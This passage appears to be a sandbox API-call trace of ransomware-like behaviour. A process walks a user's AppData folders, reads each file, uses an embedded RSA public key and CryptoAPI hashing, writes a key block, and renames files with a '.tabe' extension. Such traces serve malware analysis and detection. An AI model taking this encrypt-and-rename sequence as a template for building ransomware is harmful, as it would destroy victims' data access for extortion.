dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.844] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=32768) returned 1 [0127.844] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.845] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7fda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.845] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.847] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.847] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x8000, lpOverlapped=0x0) returned 1 [0127.848] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.848] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0127.848] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.848] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.849] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.849] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.849] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.849] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0127.849] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.849] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.849] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.849] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.849] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.849] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.850] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat.tabe")) returned 1 [0127.851] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.851] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.851] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.851] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.852] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.852] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.852] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.852] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.853] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab") returned=".cab" [0127.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.854] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=581730) returned 1 [0127.854] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.855] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8e03c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.855] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.856] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x25805, lpOverlapped=0x0) returned 1 [0127.859] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.859] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.859] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.859] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.859] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.859] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.859] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.859] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.860] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.860] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.860] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.860] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.861] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8e062, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.861] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.861] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab.tabe")) returned 1 [0127.862] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi") returned=".msi" [0127.862] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.863] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=185344) returned 1 [0127.863] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.863] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x2d3da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.864] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.865] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.865] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x25805, lpOverlapped=0x0) returned 1 [0127.866] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.866] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.867] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.867] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.867] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.867] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.867] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.867] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.867] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.867] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.867] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.868] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.869] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x2d400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.869] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.869] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi.tabe")) returned 1 [0127.870] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.870] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.870] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.870] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.871] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned=".properties" [0127.871] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.871] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=719) returned 1 [0127.871] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.872] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x2a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.872] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.874] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x2cf, lpOverlapped=0x0) returned 1 [0127.874] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.874] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0127.875] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.875] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.875] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.875] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.875] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.875] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0127.875] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.875] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.875] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.875] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.875] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x2cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.875] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.875] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties.tabe")) returned 1 [0127.876] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.876] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.877] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.877] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.877] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned=".cab" [0127.877] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.879] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=25340970) returned 1 [0127.879] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.880] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x182ac04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.880] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.882] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x25805, lpOverlapped=0x0) returned 1 [0127.884] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.884] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0127.886] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.886] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.886] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.886] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.886] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.886] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0127.886] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.886] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.886] RpcStringFreeA (in: 